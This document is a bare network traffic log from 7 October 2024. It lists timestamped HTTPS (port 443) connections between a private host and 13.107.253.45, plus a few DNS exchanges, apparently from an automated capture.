Oct 7, 2024 18:01:05.558136940 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.560620070 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.560659885 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.560691118 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.560698032 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.560728073 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.560750961 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.563488007 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.563533068 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.563561916 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.563568115 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.563601017 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.563633919 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.565751076 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.565793037 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.565821886 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.565829039 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.565860033 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.565880060 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.567569017 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.567701101 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.567807913 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.568252087 CEST	49743	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.568265915 CEST	443	49743	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.611423016 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.611530066 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.611655951 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.611943007 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.611979961 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.613158941 CEST	49745	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.613199949 CEST	443	49745	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.613291025 CEST	49745	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.613461018 CEST	49745	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.613473892 CEST	443	49745	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.615214109 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.615225077 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.615283966 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.616458893 CEST	49747	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.616489887 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.616566896 CEST	49747	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.617695093 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.617717981 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.617733002 CEST	49748	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.617764950 CEST	443	49748	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.617887020 CEST	49748	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.617964029 CEST	49747	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.617990017 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.618294001 CEST	49748	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:05.618309975 CEST	443	49748	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:05.907567978 CEST	60240	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:01:05.912375927 CEST	53	60240	162.159.36.2	192.168.2.4
Oct 7, 2024 18:01:05.912538052 CEST	60240	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:01:05.912640095 CEST	60240	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:01:05.917622089 CEST	53	60240	162.159.36.2	192.168.2.4
Oct 7, 2024 18:01:06.333693027 CEST	443	49745	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.334821939 CEST	49745	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.334836960 CEST	443	49745	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.336388111 CEST	49745	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.336393118 CEST	443	49745	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.343925953 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.344434977 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.344523907 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.344887018 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.344902992 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.375328064 CEST	443	49748	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.376022100 CEST	49748	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.376032114 CEST	443	49748	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.376738071 CEST	49748	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.376748085 CEST	443	49748	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.395684004 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.396754026 CEST	49747	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.396820068 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.397331953 CEST	49747	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.397349119 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.410665989 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.411504984 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.411524057 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.411951065 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.411956072 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.565016031 CEST	443	49748	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.565085888 CEST	443	49748	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.565176010 CEST	49748	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.565421104 CEST	49748	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.565439939 CEST	443	49748	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.565448999 CEST	49748	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.565454006 CEST	443	49748	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.569266081 CEST	60241	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.569333076 CEST	443	60241	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.569499016 CEST	60241	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.569675922 CEST	60241	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.569694042 CEST	443	60241	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.573573112 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.573590040 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.573674917 CEST	49747	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.573705912 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.573868990 CEST	49747	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.573889017 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.573908091 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.573915005 CEST	49747	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.573929071 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.573998928 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.574012995 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.574022055 CEST	443	49747	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.574026108 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.574064970 CEST	49747	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.574134111 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.574285030 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.574285030 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.574292898 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.574472904 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.574496984 CEST	443	49746	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.574548960 CEST	49746	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.577116013 CEST	60243	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.577156067 CEST	443	60243	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.577224016 CEST	60243	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.577264071 CEST	60242	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.577292919 CEST	443	60242	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.577368975 CEST	60242	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.577419996 CEST	60243	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.577431917 CEST	443	60243	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.577559948 CEST	60242	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.577579975 CEST	443	60242	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.581788063 CEST	53	60240	162.159.36.2	192.168.2.4
Oct 7, 2024 18:01:06.600522995 CEST	60240	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:01:06.605912924 CEST	53	60240	162.159.36.2	192.168.2.4
Oct 7, 2024 18:01:06.605983019 CEST	60240	53	192.168.2.4	162.159.36.2
Oct 7, 2024 18:01:06.613162994 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.613183975 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.613266945 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.613337994 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.613488913 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.613576889 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.613576889 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.613600016 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.613785982 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.613816977 CEST	443	49744	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.613862991 CEST	49744	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.616370916 CEST	60244	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.616409063 CEST	443	60244	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.616501093 CEST	60244	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.616640091 CEST	60244	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.616648912 CEST	443	60244	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.727696896 CEST	443	49745	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.727850914 CEST	443	49745	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.727917910 CEST	49745	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.728053093 CEST	49745	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.728053093 CEST	49745	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.728074074 CEST	443	49745	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.728084087 CEST	443	49745	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.730942965 CEST	60245	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.730989933 CEST	443	60245	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:06.731064081 CEST	60245	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.731188059 CEST	60245	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:06.731198072 CEST	443	60245	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.209014893 CEST	443	60241	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.210315943 CEST	60241	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.210315943 CEST	60241	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.210335016 CEST	443	60241	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.210351944 CEST	443	60241	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.237230062 CEST	443	60242	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.238568068 CEST	60242	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.238568068 CEST	60242	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.238586903 CEST	443	60242	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.238604069 CEST	443	60242	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.240243912 CEST	443	60244	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.240569115 CEST	60244	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.240585089 CEST	443	60244	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.241054058 CEST	443	60243	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.241167068 CEST	60244	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.241170883 CEST	443	60244	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.241341114 CEST	60243	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.241355896 CEST	443	60243	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.241981030 CEST	60243	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.241985083 CEST	443	60243	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.327013016 CEST	443	60241	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.327114105 CEST	443	60241	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.327168941 CEST	60241	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.327326059 CEST	60241	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.327326059 CEST	60241	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.327342987 CEST	443	60241	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.327351093 CEST	443	60241	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.330279112 CEST	60246	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.330317020 CEST	443	60246	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.330399036 CEST	60246	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.330559969 CEST	60246	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.330564022 CEST	443	60246	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.377861023 CEST	443	60242	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.377942085 CEST	443	60242	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.378047943 CEST	60242	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.378408909 CEST	60242	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.378408909 CEST	60242	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.378433943 CEST	443	60242	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.378457069 CEST	443	60242	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.381696939 CEST	60247	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.381748915 CEST	443	60247	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.381844997 CEST	60247	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.382072926 CEST	60247	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.382086039 CEST	443	60247	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.382133961 CEST	443	60243	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.382203102 CEST	443	60243	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.382364988 CEST	60243	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.382519007 CEST	60243	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.382535934 CEST	443	60243	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.382544994 CEST	60243	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.382549047 CEST	443	60243	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.385267019 CEST	60248	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.385319948 CEST	443	60248	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.385698080 CEST	60248	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.385699034 CEST	60248	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.385740995 CEST	443	60248	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.417458057 CEST	443	60244	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.417516947 CEST	443	60244	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.417567015 CEST	60244	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.417742014 CEST	60244	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.417757988 CEST	443	60244	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.417772055 CEST	60244	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.417776108 CEST	443	60244	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.420569897 CEST	60249	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.420665979 CEST	443	60249	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.420758009 CEST	60249	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.420902967 CEST	60249	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.420936108 CEST	443	60249	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.458794117 CEST	443	60245	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.459290028 CEST	60245	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.459355116 CEST	443	60245	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.459841967 CEST	60245	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.459856987 CEST	443	60245	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.601480961 CEST	443	60245	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.601546049 CEST	443	60245	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.601608038 CEST	60245	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.601799965 CEST	60245	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.601799965 CEST	60245	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.601845980 CEST	443	60245	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.601872921 CEST	443	60245	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.604589939 CEST	60250	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.604691029 CEST	443	60250	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:07.604787111 CEST	60250	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.604950905 CEST	60250	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:07.604974985 CEST	443	60250	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.159240007 CEST	443	60246	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.202249050 CEST	60246	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.202276945 CEST	443	60246	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.202845097 CEST	60246	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.202852964 CEST	443	60246	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.238589048 CEST	443	60249	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.239681005 CEST	60249	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.239746094 CEST	443	60249	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.240777016 CEST	443	60248	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.240825891 CEST	60249	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.240842104 CEST	443	60249	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.242525101 CEST	60248	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.242538929 CEST	443	60248	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.244012117 CEST	60248	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.244018078 CEST	443	60248	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.261651039 CEST	443	60247	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.301601887 CEST	443	60246	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.301644087 CEST	443	60246	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.301810980 CEST	60246	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.302093029 CEST	60247	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.302108049 CEST	443	60247	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.302561045 CEST	60247	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.302565098 CEST	443	60247	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.325534105 CEST	60246	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.325534105 CEST	60246	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.325566053 CEST	443	60246	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.325577974 CEST	443	60246	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.345369101 CEST	443	60249	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.345428944 CEST	443	60249	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.345746040 CEST	60249	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.361711979 CEST	443	60250	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.366344929 CEST	443	60248	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.366425037 CEST	443	60248	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.366621017 CEST	60248	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.372668028 CEST	60249	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.372668982 CEST	60249	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.372745037 CEST	443	60249	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.372781992 CEST	443	60249	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.387790918 CEST	60250	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.387860060 CEST	443	60250	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.392654896 CEST	60248	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.392654896 CEST	60248	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.392682076 CEST	443	60248	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.392693996 CEST	443	60248	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.393111944 CEST	60250	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.393130064 CEST	443	60250	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.397921085 CEST	60253	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.397953987 CEST	443	60253	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.398015022 CEST	60253	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.403295040 CEST	60254	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.403302908 CEST	443	60254	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.403369904 CEST	60254	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.403484106 CEST	60253	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.403496981 CEST	443	60253	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.404623032 CEST	60255	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.404654026 CEST	443	60255	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.404709101 CEST	60255	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.404850006 CEST	60255	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.404865026 CEST	443	60255	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.407258034 CEST	60254	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.407268047 CEST	443	60254	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.412347078 CEST	443	60247	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.412417889 CEST	443	60247	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.412496090 CEST	60247	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.413116932 CEST	60247	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.413130999 CEST	443	60247	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.413142920 CEST	60247	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.413150072 CEST	443	60247	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.505980015 CEST	443	60250	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.506153107 CEST	443	60250	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.506350040 CEST	60250	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.547074080 CEST	60250	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.547075033 CEST	60250	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.547151089 CEST	443	60250	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.547189951 CEST	443	60250	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.553015947 CEST	60256	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.553052902 CEST	443	60256	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.553102016 CEST	60256	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.570101023 CEST	60256	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.570127010 CEST	443	60256	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.578114986 CEST	60257	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.578145027 CEST	443	60257	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:08.578202009 CEST	60257	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.578408957 CEST	60257	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:08.578423977 CEST	443	60257	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.635298014 CEST	443	60254	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.636255026 CEST	60254	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.636270046 CEST	443	60254	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.636542082 CEST	60254	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.636545897 CEST	443	60254	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.639756918 CEST	443	60253	13.107.253.45	192.168.2.4
Oct 7, 2024 18:01:09.643426895 CEST	60253	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.643426895 CEST	60253	443	192.168.2.4	13.107.253.45
Oct 7, 2024 18:01:09.643434048 CEST	443	60253	13.107.253.45	192.168.2.4
